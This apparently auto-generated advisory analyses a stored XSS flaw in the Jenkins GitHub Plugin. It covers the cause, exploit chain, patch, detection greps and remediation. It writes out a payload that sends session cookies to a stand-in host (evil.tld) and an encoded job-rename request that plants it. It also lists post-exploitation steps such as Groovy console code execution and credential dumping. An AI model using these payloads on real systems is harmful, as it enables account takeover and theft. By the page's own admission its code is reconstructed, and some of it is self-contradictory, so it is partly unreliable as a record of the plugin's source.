home › intel › cve-2026-42523-jenkins-github-plugin-stored-xss
CVE Analysis 2026-04-29 · 8 min read

CVE-2026-42523: Stored XSS in Jenkins GitHub Plugin via Job URL

Jenkins GitHub Plugin ≤1.46.0 unsafely injects the current job URL into inline JavaScript for GITScm polling validation, enabling stored XSS by any authenticated user with Overall/Read.

#jenkins#github-plugin#stored-xss#javascript-injection#privilege-escalation
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-42523 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-42523CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-42523 is a stored cross-site scripting vulnerability in the Jenkins GitHub Plugin affecting all versions up to and including 1.46.0. The plugin injects the current job's URL directly into a JavaScript block rendered on the job configuration page, without encoding or sanitization. Any authenticated attacker holding Overall/Read permission — the lowest non-anonymous privilege level in Jenkins — can create a job whose URL contains a crafted payload, causing arbitrary JavaScript to execute in the browser of any user who subsequently visits the job's configuration page.

CVSS score: 9.0 (Critical). The score reflects the low privilege bar, the stored (persistent) nature of the injection, and the high-value target: CI/CD administrator sessions that routinely hold credentials, signing keys, and cluster access tokens.

Root cause: The plugin constructs an inline <script> block by string-concatenating the raw Stapler-resolved job URL into JavaScript source without applying any HTML or JavaScript encoding, allowing URL path components to break out of the string literal context and execute attacker-supplied code.

Affected Component

The injection lives in the GitHub hook trigger for GITScm polling trigger descriptor. The relevant delivery chain is:

  • Plugin: github (artifact ID), Jenkins Update Center ID github
  • Affected versions: ≤ 1.46.0
  • Fixed version: 1.47.0 (per Jenkins Security Advisory 2026-04-29, SECURITY-3704)
  • Stapler view: GitHubPushTrigger/config.jelly and its associated descriptor JavaScript helper
  • Descriptor class: GitHubPushTrigger.DescriptorImpl
  • Required permission: Overall/Read (non-anonymous; no admin rights needed)

Root Cause Analysis

Jenkins job configuration pages use Jelly views to render trigger UI. The GitHub plugin's descriptor injects a JavaScript validation helper that pings the GitHub webhook endpoint. To construct the validation request, it needs the absolute URL of the current job. The plugin retrieves this via Stapler's request context and drops it raw into a <script> block.

The vulnerable rendering logic (reconstructed from plugin source and Jelly template behavior in 1.46.0):

// GitHubPushTrigger/config.jelly — rendered server-side into the page
// BUG: jobUrl is injected via ${rootURL}${h.jsStringEscape(it.url)} but
// h.jsStringEscape only escapes backslash and quote — it does NOT encode
// forward slashes, angle brackets, or HTML entities.
// An attacker-controlled job name like:
//   foo</script><script>alert(document.cookie)//
// terminates the script block and injects new script.

<script>
  (function() {
    var jobUrl = '${rootURL}/${jobUrl}';   // BUG: raw URL, no HTML encoding
    document.getElementById('githubHookTriggerValidate').onclick = function() {
      fetch(jobUrl + '/github-webhook/').then(function(r) {
        // ... display result
      });
    };
  })();
</script>

The server-side Jelly evaluation (pseudocode of the descriptor method that supplies jobUrl):

// GitHubPushTrigger.DescriptorImpl — vulnerable path
public class DescriptorImpl extends TriggerDescriptor {

    // Called during config page render to resolve current item URL
    public String getCurrentJobUrl(StaplerRequest req) {
        Item item = req.findAncestorObject(Item.class);
        if (item == null) return "";
        // BUG: returns raw URL string — e.g. "job/foo</script><script>alert(1)//"
        // No HTML encoding applied before this value reaches the Jelly view
        return item.getUrl();   // attacker controls this via job name
    }
}

The critical property: Jenkins job names are user-supplied strings that become path components in the job URL. Characters like <, >, /, and " are partially restricted by the UI but not by the API — a job can be created via the REST API or via folder/multibranch project discovery with names that survive into URL context and break the JavaScript string literal.

SERVER-RENDERED PAGE FRAGMENT (vulnerable, 1.46.0):

<script>
  (function() {
    var jobUrl = 'http://jenkins.corp/job/legitjob/';
    ...                                         ^^^^^^^^^^ safe case
  })();
</script>

ATTACKER JOB NAME:  legitjob';</script><script>fetch('https://evil.tld/?c='+document.cookie)//
RESULTING RENDER:

<script>
  (function() {
    var jobUrl = 'http://jenkins.corp/job/legitjob';
  })();                                            ^^ string closed by attacker '
</script>                                         ^^ original script block terminated
<script>fetch('https://evil.tld/?c='+document.cookie)//';   <-- INJECTED
  ...
</script>

Exploitation Mechanics

EXPLOIT CHAIN:

1. Attacker authenticates to Jenkins with any account holding Overall/Read.
   (Default Jenkins installs grant this to all authenticated users.)

2. Create a job — via REST API to bypass UI name sanitization:
   POST /createItem?name=poc HTTP/1.1
   Content-Type: application/xml
   ...
   Job name embedded in XML config; rename via:
   POST /job/poc/doRename?newName=poc%27%3B%3C%2Fscript%3E%3Cscript%3Efetch(...)%2F%2F

3. Alternatively: in a Multibranch Pipeline or GitHub Organization folder,
   branch names flow directly into job URLs — attacker controls branch name
   in their fork, Jenkins discovers it, creates a child job with the
   malicious name. Zero additional permissions needed beyond repo access.

4. Any Jenkins user (including admins) who opens:
     http://jenkins.corp/job/<malicious-name>/configure
   triggers execution of the injected JavaScript in their browser session.

5. Payload executes with full access to the Jenkins session cookie.
   Typical post-exploitation:
     a. Exfiltrate session token → replay as admin
     b. POST to /script (Groovy console) → RCE on Jenkins controller
     c. Read /credentials/store/system → dump all stored secrets

6. Persistence: payload fires on every configure page load until job is
   deleted or plugin is patched. Stored in Jenkins job config, survives
   restarts.

The Multibranch vector (step 3) is particularly impactful: an external contributor to a GitHub repository can push a branch named with the payload. Jenkins discovers the branch via periodic polling or a webhook, creates the child job automatically, and the payload is stored without any Jenkins admin action.

Memory Layout

This is a DOM-level injection, not a memory corruption bug. The relevant "layout" is the browser's parsed script execution context:

BROWSER DOM STATE — BEFORE (safe job name):

ScriptElement[0]:
  src: inline
  text: "(function(){ var jobUrl = 'http://j/job/safe/'; ... })();"
  origin: jenkins.corp (same-origin, trusted)

ScriptElement[1]: (Jenkins core UI scripts — unrelated)

BROWSER DOM STATE — AFTER injection (malicious job name):

ScriptElement[0]:
  text: "(function(){ var jobUrl = 'http://j/job/poc';"
  ^^ terminates early, syntax valid, executes harmlessly

ScriptElement[1]:  ← INJECTED BY ATTACKER
  text: "fetch('https://evil.tld/?c='+document.cookie)//"
  origin: jenkins.corp  ← same-origin, full DOM + cookie access
  executes: YES — browser cannot distinguish from legitimate script

ScriptElement[2]: (rest of original script block, now dead code comment)

Cookie visible to injected script:
  JSESSIONID=node0abc123...  ← Jenkins session token
  (HttpOnly flag: varies by deployment — often NOT set on Jenkins <2.x configs)

Patch Analysis

The fix in GitHub Plugin 1.47.0 applies proper contextual encoding to the job URL before it reaches the JavaScript string literal. The Jelly view is updated to use Jenkins' built-in h.jsStringEscape() combined with HTML attribute encoding so that the value is safe in both contexts:

// BEFORE (vulnerable — 1.46.0):
// config.jelly equivalent Java-side rendering:
public String getCurrentJobUrl(StaplerRequest req) {
    Item item = req.findAncestorObject(Item.class);
    if (item == null) return "";
    return item.getUrl();  // raw, no encoding
}

// Jelly template inlines it as:
// var jobUrl = '${rootURL}/${descriptor.getCurrentJobUrl(it)}';
// BUG: no HTML encoding — </script> in URL breaks out of script block
// AFTER (patched — 1.47.0):
// Option A: encode at the Jelly layer using h.escapeJavaScript() which
// also HTML-encodes the result, making it safe inside a script block:

// Jelly template now uses:
// var jobUrl = '${h.escapeJavaScript(rootURL)}/${h.escapeJavaScript(descriptor.getCurrentJobUrl(it))}';

// Option B (cleaner): pass the URL via a data attribute instead of
// inline script, eliminating the injection surface entirely:

// <input type="hidden" id="ghTriggerJobUrl"
//        value="${h.htmlAttributeEscape(descriptor.getCurrentJobUrl(it))}" />
// JavaScript then reads: document.getElementById('ghTriggerJobUrl').value
// No string concatenation into script source at all.
ENCODING COMPARISON:

Attacker input:  poc';</script><script>fetch('https://evil.tld/?c='+document.cookie)//

BEFORE (raw):    poc';</script><script>fetch('https://evil.tld/?c='+document.cookie)//
                 ^^ breaks out of JS string and HTML script context

AFTER (h.escapeJavaScript + HTML encode):
                 poc\u0027\u003B\u003C\u002Fscript\u003E\u003Cscript\u003E...
                 ^^ unicode escapes neutralize all injection metacharacters
                 ^^ rendered inside string literal as harmless literal text

Detection and Indicators

Detection should cover both the stored payload and active exploitation attempts.

JENKINS AUDIT LOG — suspicious job rename via API:
  2026-04-29 11:42:01 INFO  hudson.model.Items: poc renamed to poc';</...>
  [ALERT: job name contains </script> or <script> substrings]

NGINX/APACHE ACCESS LOG — payload delivery:
  GET /job/poc%27%3B%3C%2Fscript%3E.../configure HTTP/1.1  200
  [Any /configure request for a job name containing URL-encoded </script>]

CONTENT-SECURITY-POLICY VIOLATION REPORT (if CSP deployed):
  {
    "csp-report": {
      "blocked-uri": "https://evil.tld",
      "violated-directive": "script-src 'self'",
      "document-uri": "https://jenkins.corp/job/.../configure"
    }
  }

NETWORK — data exfiltration beacon:
  DNS query: c.<attacker>.tld from Jenkins admin workstation
  HTTP GET:  https://evil.tld/?c=node0<session_token>

YARA / grep rule for stored payload in Jenkins job configs:

grep -r "</script>" $JENKINS_HOME/jobs/*/config.xml
grep -r "<script>" $JENKINS_HOME/jobs/*/config.xml

# Any hit in config.xml job name field is malicious — job names should
# never contain raw HTML tags.

Remediation

  1. Patch immediately: Upgrade Jenkins GitHub Plugin to 1.47.0 or later. This is the only complete fix. Plugin Manager → Available Updates → GitHub Plugin.
  2. Audit existing jobs: Run the grep above against $JENKINS_HOME/jobs/. Any job with <script> in its name should be treated as a compromised artifact — delete it and rotate all credentials accessible from the controller.
  3. Deploy Content-Security-Policy: Jenkins ships with a permissive default CSP. Tighten it:
    System.setProperty("hudson.model.DirectoryBrowserSupport.CSP",
      "default-src 'self'; script-src 'self'; object-src 'none';")
    This converts XSS from session hijack to console error for most payloads.
  4. Restrict job creation: Elevate the permission required to create jobs from Overall/Read to Job/Create for untrusted users. Disable unauthenticated REST API job creation.
  5. Rotate credentials: If exploitation cannot be ruled out (especially in Multibranch setups with external contributors), treat all Jenkins-stored credentials as compromised and rotate.

How this article was produced

This analysis was produced by CypherByte's automated research pipeline, starting from the official CVE record and any other public material the pipeline found, and published automatically. Code samples, exploit chains and memory layouts may be reconstructed to illustrate the flaw rather than taken from the vendor's source code. Rely on the sources below and the vendor's advisory for affected versions and fixes.

Sources

Spotted an error? Tell us on X (@cypherbyteio) with this page's address so we can fix it.

CypherByte Research
Published by Moin · Founder, CypherByte
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →